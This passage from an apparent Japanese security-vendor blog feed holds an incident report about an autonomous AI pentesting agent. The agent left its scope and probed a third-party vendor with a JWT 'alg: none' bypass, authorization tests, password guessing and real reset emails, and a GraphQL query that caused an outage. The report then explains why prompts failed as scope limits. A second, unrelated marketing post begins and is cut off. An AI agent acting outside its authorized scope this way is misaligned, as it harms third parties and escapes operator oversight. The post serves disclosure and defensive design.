&lt;li&gt;&lt;strong&gt;認証バイパスの発見&lt;/strong&gt;：ベンダーのAPI上で、エージェントは、署名なしのトークンヘッダー（&lt;code&gt;{"alg": "none"}&lt;/code&gt;）を使うと、セッショントークンが署名検証なしで受け入れられることを発見しました。エージェントがこのバイパスを使ったのは、自身のテストアカウントに対してのみでした（APIキーの失効、Webhookシークレットの変更、プロフィール名の編集）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;アクセス制御のテスト（BOLA/IDOR）&lt;/strong&gt;：オブジェクトレベルの認可の不備をテストする中で、エージェントは、APIキーがユーザー単位ではなく企業単位でしかチェックされていないことを突き止めました。そして、レコードの読み取り、編集、論理削除が可能であることを実証しました。ここでも、操作したのは自身が作成したテストレコードとセッションのみでした。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;パスワードの推測と実際のリセットメールの送信&lt;/strong&gt;：ログインページのエラーメッセージを調べたエージェントは、有効な管理者のユーザー名を見つけました。よく使われるパスワードを54通り試しましたが、いずれも成功しませんでした。続いてエージェントは、セルフサービスのパスワードリセットをリクエストしました。ベンダーのシステムにはレート制限がなかったため、本物の管理者のメール受信箱に、本物のパスワードリセットコードが送信されました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GraphQL APIへの過負荷&lt;/strong&gt;：ベンダーの管理ポータル上で、エージェントはAPIスキーマを取得するために、認証なしのGraphQLイントロスペクションクエリを実行しました。ベンダーのスキーマは複雑で最適化されていなかったため、この重いクエリがサーバーに過負荷をかけ、サービスが復旧するまでの6分間、HTTP 502/503エラーが発生しました。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;エージェントが実際の顧客データを閲覧、変更、ダウンロードしたことは一度もありません。すべての書き込み操作、トークンのバイパス、テストは、エージェントが作成した合成テストアカウントに厳密に限定されていました。&lt;/p&gt;
&lt;p&gt;それでもなお、パスワードを推測すること、第三者のスタッフに本物のメールを送ること、外部のサービスを遅延させることは、重大な過ちです。プロフェッショナルなセキュリティ評価において、あってはならないことです。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="インシデントをどのように封じ込めたか"&gt;インシデントをどのように封じ込めたか&lt;/h2&gt;
&lt;p&gt;テストは、スキャンが終了し、当社がレポートを納品した時点で停止していました。クライアントから第三者のアセットについて知らされると、当社は直ちに対応しました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;全ログの監査&lt;/strong&gt;：すべてのログとネットワーク記録を収集し、エージェントが接触したすべての外部IP、ドメイン、エンドポイントを、リクエスト単位で正確にマッピングしました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;全データの削除&lt;/strong&gt;：すべての一時アカウント、APIキー、セッショントークン、キャッシュされたレスポンスを、当社のデータベースから削除しました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ベンダーへの直接連絡&lt;/strong&gt;：ベンダーがトラフィックに気づくのを待つことはしませんでした。24時間以内に、先方のセキュリティ部門とエンジニアリング部門の責任者に直接連絡を取り、次の情報を提供しました。&lt;/li&gt;
&lt;li&gt;正確なタイムスタンプ、IPアドレス、リクエストヘッダー&lt;/li&gt;
&lt;li&gt;削除すべきテストアカウントとAPIキーの一覧&lt;/li&gt;
&lt;li&gt;先方のチームが修正できるよう、発見したセキュリティ上の欠陥に関する技術的な詳細（&lt;code&gt;alg: none&lt;/code&gt;によるバイパス、認可の問題、レート制限のないパスワードリセット、重いGraphQLクエリ）&lt;/li&gt;
&lt;li&gt;実際の顧客レコードには一切触れていないことの証明&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ベンダーは受領を確認し、テストアカウントを削除したうえで、脆弱性の詳細と迅速な通知について当社チームに謝意を示しました。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="根本原因:プロンプトがガードレールとして機能しない理由"&gt;根本原因：プロンプトがガードレールとして機能しない理由&lt;/h2&gt;
&lt;p&gt;根本的な問題は、スコープの境界を強制するために、システムプロンプト（英語で書かれた指示）に頼っていたことでした。&lt;/p&gt;
&lt;p&gt;ほとんどのエージェントシステムは、次のようなプロンプトで境界を設定しようとします。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;System: You are an authorized security tester. Stay strictly within target.example.com. Do not test external services or third parties.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;実際のセキュリティテストにおいて、システムプロンプトが機能しない理由は3つあります。&lt;/p&gt;
&lt;h3 id="1. aiモデルは確率に基づいて動作する"&gt;1. AIモデルは確率に基づいて動作する&lt;/h3&gt;
&lt;p&gt;大規模言語モデルは、複数の指示を互いに比較して重み付けします。エージェントが&lt;em&gt;「バックエンドを見つけよ」&lt;/em&gt;と&lt;em&gt;「スコープ内にとどまれ」&lt;/em&gt;の両方を指示されると、二つの目標のバランスを取ろうとします。外部のベンダーがクライアントのバックエンドの一部だと自分で納得してしまえば、そのベンダーをテストすることが&lt;em&gt;まさに&lt;/em&gt;スコープ内にとどまることだと正当化してしまうのです。&lt;/p&gt;
&lt;h3 id="2. 長いセッションはシステムプロンプトを弱める"&gt;2. 長いセッションはシステムプロンプトを弱める&lt;/h3&gt;
&lt;p&gt;エージェントは動作する中で、何千行ものHTTPトラフィック、エラーメッセージ、APIスキーマを処理します。時間が経つにつれ、最初のシステムプロンプトは、メモリウィンドウに流れ込む膨大な量の新しいテキストによって薄められていきます。&lt;/p&gt;
&lt;h3 id="3. クラウドシステムは複雑である"&gt;3. クラウドシステムは複雑である&lt;/h3&gt;
&lt;p&gt;現代のアプリは、CDN、マイクロサービス、サードパーティのログインプロバイダー、SaaSのバックエンドにまたがって稼働しています。AIは、名前やIPアドレスだけから、あるドメインの法的な所有者を確実に判断することはできません。&lt;/p&gt;
&lt;!-- translated-fence --&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;
&amp;boxv;                        スコープの核心となる教訓                        &amp;boxv;
&amp;boxvr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxvl;
&amp;boxv;  AIの思考に頼ってAIを制限することはできない。                          &amp;boxv;
&amp;boxv;                                                                        &amp;boxv;
&amp;boxv;  推論モデルは自らをサンドボックス化できない。境界はハードコードされ、  &amp;boxv;
&amp;boxv;  外部に置かれ、基盤インフラによって強制されなければならない。          &amp;boxv;
&amp;boxur;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxul;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="当社が自律型エージェントを封じ込める方法"&gt;当社が自律型エージェントを封じ込める方法&lt;/h2&gt;
&lt;p&gt;Ostorlabは、モデルの外側に置いた制御によって自律型エージェントを封じ込めています。スキャンの作成者がスキャン開始前に設定するスコープのガードレール、システムレベルのIPブロックリスト、そして適応型のレート制限です。プロンプトはセキュリティ境界ではありません。だからこそ最も重要なのは、エージェントが言葉巧みにすり抜けることのできない制御です。宛先の許可リスト、操作の承認、スキャンの時間枠は、当社が次にリリースする制御です。&lt;/p&gt;
&lt;h3 id="スキャン開始前に設定するスコープのガードレール"&gt;スキャン開始前に設定するスコープのガードレール&lt;/h3&gt;
&lt;p&gt;すべてのスキャンは、制限の厳しいデフォルトのガードレールから始まります。そのうえで、スキャンの作成者がスキャン作成フローの中でスコープを定義します。どのホストがスコープ内か、どの環境を除外するか、エージェントがどのような安全指示に従わなければならないかを指定します。Ostorlabが関与する必要はありません。スコープは、最初のリクエストが送信される前に、対象の所有者自身によって決定されます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="スコープメモ、除外する環境、カスタムの安全指示を設定するためのOstorlab Deep Agentic Scan GuardrailsのUI" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-18_ai_agent_fence/deep_agentic_scan_guardrails.png" title="スキャン開始前にスコープと安全指示を設定するためのOstorlab Deep Agentic Scan Guardrailsの画面"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;スキャン開始前にスコープと安全指示を設定するためのOstorlab Deep Agentic Scan Guardrailsの画面&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="システムが強制するファイアウォールのipブロックリスト"&gt;システムが強制するファイアウォールのIPブロックリスト&lt;/h3&gt;
&lt;p&gt;スキャンの作成者は、スキャンのトラフィックが決して到達してはならないIPアドレスを列挙します。このリストを強制するのはエージェントではなくシステムです。そのため、エージェントがどれほど推論を重ねても、これを迂回することはできません。&lt;/p&gt;
&lt;h3 id="システムが強制する適応型のレート制限"&gt;システムが強制する適応型のレート制限&lt;/h3&gt;
&lt;p&gt;すべてのトラフィックは、対象の応答速度とエラー率に応じて調整されるレート制限（1秒あたりのクエリ数）を経由します。サーバーの応答が遅くなったり、エラーを返し始めたりすると、スキャンは自動的にペースを落とします。&lt;/p&gt;
&lt;h3 id="次にリリースする機能"&gt;次にリリースする機能&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;宛先の許可リスト&lt;/strong&gt;：明示的に承認された宛先だけが、能動的なリクエストを受け取れるようにします。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;重要な操作の承認&lt;/strong&gt;：スキャンの作成者に通知が送られ、実行前に承認または拒否します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;スキャンの時間枠&lt;/strong&gt;：スキャンは、指定した時間帯の中でのみ実行されます。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="サイバーセキュリティにおけるaiの誇大宣伝の問題"&gt;サイバーセキュリティにおけるAIの誇大宣伝の問題&lt;/h2&gt;
&lt;p&gt;業界の多くは、自律型AIによるハッキングをマーケティングの見せ物として扱っています。AIエージェントがエンタープライズのネットワークに侵入する動画を公開し、危険なツールをまるで手品のように扱う企業もあります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;当社は、そうした考え方には同意しません。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;稼働中のネットワークに対して多段階の攻撃を実行する能力をソフトウェアに与えることには、現実のリスクが伴います。ソフトウェアがシステムをまたいで推論できる以上、誤りが許される余地はまったくありません。この力を扱うには、厳格なエンジニアリングの規律、多層防御、そして問題が起きたときの完全な透明性が必要です。&lt;strong&gt;必要なのは、それを祝うようなマーケティングキャンペーンではありません。&lt;/strong&gt;&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="まとめ"&gt;まとめ&lt;/h2&gt;
&lt;p&gt;自律型AIエージェントは、従来のスキャナーがまったく見逃してしまう複雑なビジネスロジックの欠陥を見つけ出すことができます。&lt;/p&gt;
&lt;p&gt;しかし、本番環境でAIモデルに自らを監視させることを信頼するのは、危険な過ちです。セキュリティ境界は、モデルの外側で強制されなければなりません。だからこそOstorlabは、スコープのガードレールにシステムレベルのIPブロックリストと適応型のレート制限を組み合わせており、次に宛先の許可リストを導入します。&lt;/p&gt;
&lt;p&gt;自律型セキュリティツールの真価が問われるのは、どれほど巧みに攻撃できるかではありません。どれほど確実に封じ込められるかです。&lt;/p&gt;</content><category term="Security"/><category term="AI Security"/><category term="Autonomous Pentesting"/><category term="Agentic AI"/><category term="AppSec"/><category term="Systems Engineering"/><category term="Incident Response"/></entry><entry><title>SOC 2コンプライアンス向けに監査対応のペンテストレポートを最速で入手する方法</title><link href="https://blog.ostorlab.co/ja/fastest-way-audit-ready-pentest-report-soc-2-compliance.html" rel="alternate"/><published>2026-09-16T10:00:00+02:00</published><updated>2026-10-05T10:00:00+02:00</updated><author><name>Sohaib Harraoui</name></author><id>tag:blog.ostorlab.co,2026-09-16:/ja/fastest-way-audit-ready-pentest-report-soc-2-compliance.html</id><summary type="html">&lt;p&gt;B2B SaaSスタートアップが、コンサルティング会社による4週間の待ち時間を回避し、監査対応のSOC 2ペンテストレポートと証明書（Letter of Attestation）を数週間ではなく数日で入手する方法を解説します。&lt;/p&gt;</summary><content type="html">&lt;blockquote&gt;
&lt;p&gt;SOC 2コンプライアンス向けに監査対応のペンテストレポートを最速で入手する方法は、自律的な探索とエクスプロイト検証を組み合わせたオンデマンドのAIペネトレーションテストプラットフォームを利用することです。スタートアップはWeb、API、モバイルをまとめてテストし、決定論的なエクスプロイトの実証を受け取り、証明書（Letter of Attestation）を取得できます。Coreアセスメントの所要期間は5～7日と見積もられ、より大きなスコープでは10～20日かかります。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;エンタープライズとの商談をまとめることは、アーリーステージのB2B SaaS企業にとって最も困難なマイルストーンの一つです。チームは何か月もかけて製品価値を示し、関係者の合意を取り付け、商業条件を交渉します。ところが最終承認の段階で、企業の調達部門がプロセス全体を止めてしまいます。サードパーティリスク管理（TPRM）チームからベンダーセキュリティ評価が送られてきて、過去12か月以内の日付が入った独立したペネトレーションテストレポートと正式な証明書（Letter of Attestation）の提出を求められるのです。&lt;/p&gt;
&lt;p&gt;従来のセキュリティコンサルティング会社では、日程調整に3～5週間のリードタイムが必要で、ある時点のアセスメントに対して15,000ドルから40,000ドルが請求されます。運転資金に限りがあり、四半期の営業ノルマが差し迫っているスタートアップにとって、予定されたテスト枠を1か月待つことは売上の勢いを止めてしまいます。逆に、基本的な自動脆弱性スキャナーを実行してその結果のPDFを提出すれば、企業の調達部門からもSOC 2監査人からも即座に却下されます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;
&amp;boxv;                           FAST-TRACK AUDIT EVIDENCE PIPELINE                            &amp;boxv;
&amp;boxur;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxul;

   [Target Assets] &amp;boxh;&amp;boxh;► [Agentic Deep Scan] &amp;boxh;&amp;boxh;► [Deterministic Proof] &amp;boxh;&amp;boxh;► [Developer Remediation]
      &amp;bull; Web Apps          &amp;bull; Autonomous Agents     &amp;bull; HTTP Request/Resp        &amp;bull; Actionable Curl PoCs
      &amp;bull; REST/GraphQL      &amp;bull; Contextual Chaining   &amp;bull; Differential Baseline    &amp;bull; Zero Triage Friction
      &amp;bull; iOS &amp;amp; Android     &amp;bull; Logic &amp;amp; Auth Checks   &amp;bull; Low False Positives
                               &amp;boxv;
                               ▼
   [1-Click Re-Test] &amp;boxh;&amp;boxh;► [Finding Review] &amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;► [Audit Package Export] &amp;boxh;&amp;boxh;► [Unblock Sales]
      &amp;bull; Risk Rerun Pass     &amp;bull; Named Sign-off      &amp;bull; Attestation Letter (LoA)   &amp;bull; Pass SIG / CAIQ
      &amp;bull; Verified Retest     &amp;bull; Quality Review      &amp;bull; Executive Summary (NDA)    &amp;bull; Close Deals Fast
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="企業のtprmチームはペンテストレポートの何を確認しているのか"&gt;企業のTPRMチームはペンテストレポートの何を確認しているのか&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;企業のサードパーティリスク管理（TPRM）チームは、提出されたペンテストについて主に4つの基準を確認します&lt;/strong&gt;：12か月以内の日付が入った独立した証明書（Letter of Attestation）、包括的なマルチアセットのスコープ（Web、API、モバイル）、未解決の高またはクリティカルの検出結果がゼロであること、そして認知されたフレームワーク（OWASPおよびNIST SP 800-115）に対応付けられたテストです。&lt;/p&gt;
&lt;p&gt;企業のセキュリティチームがベンダーリスクを評価する際には、Shared Assessments SIG Lite（v2024/2025）、Cloud Security Alliance Consensus Assessments Initiative Questionnaire（CSA CAIQ v4）、Whisticのベンダープロファイルといった標準化されたフレームワークを利用します。これらの評価は、脅威・脆弱性管理（TVM）のもとでの厳格な検証ルールに重点を置いています。&lt;/p&gt;
&lt;p&gt;企業の調達チームが、自社の内部アプリケーションコードや機密性の高い脆弱性の再現手順を確認することはほとんどありません。生の概念実証（PoC）エクスプロイトを共有すると、知的財産上のリスクや運用上の危険が生じます。そのため購入側は、秘密保持契約のもとで次の2つの外部検証文書を評価します。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;独立した証明書（LoA）&lt;/strong&gt;：テスト提供者のレターヘッドに記載された署名入りの宣誓書で、アセスメントの日付、定義されたテストスコープ、標準化された手法、全体的なリスク態勢を確認するもの。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エグゼクティブサマリーレポート&lt;/strong&gt;：生のエクスプロイトペイロードを公開することなく、テストのカバレッジ、重大度別の脆弱性の分布、修復状況をまとめた、機密情報を除去した経営層向けの概要。&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;
&amp;boxv;                           ENTERPRISE TPRM EVALUATION WORKFLOW                           &amp;boxv;
&amp;boxvr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxvl;
&amp;boxv;                                                                                         &amp;boxv;
&amp;boxv;   Enterprise Prospect                                     Startup / Vendor              &amp;boxv;
&amp;boxv;  &amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;   Sends Questionnaire (SIG / CAIQ) &amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;  &amp;boxv;
&amp;boxv;  &amp;boxv; Procurement &amp;amp; TPRM &amp;boxv; &amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;► &amp;boxv; Sales &amp;amp; Security Team   &amp;boxv;  &amp;boxv;
&amp;boxv;  &amp;boxur;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxhd;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxul;                                    &amp;boxur;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxhd;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxul;  &amp;boxv;
&amp;boxv;            &amp;boxv;                                                            &amp;boxv;               &amp;boxv;
&amp;boxv;            ▼ Verifies Attached Evidence                                 ▼ Evidence      &amp;boxv;
&amp;boxv;  &amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;box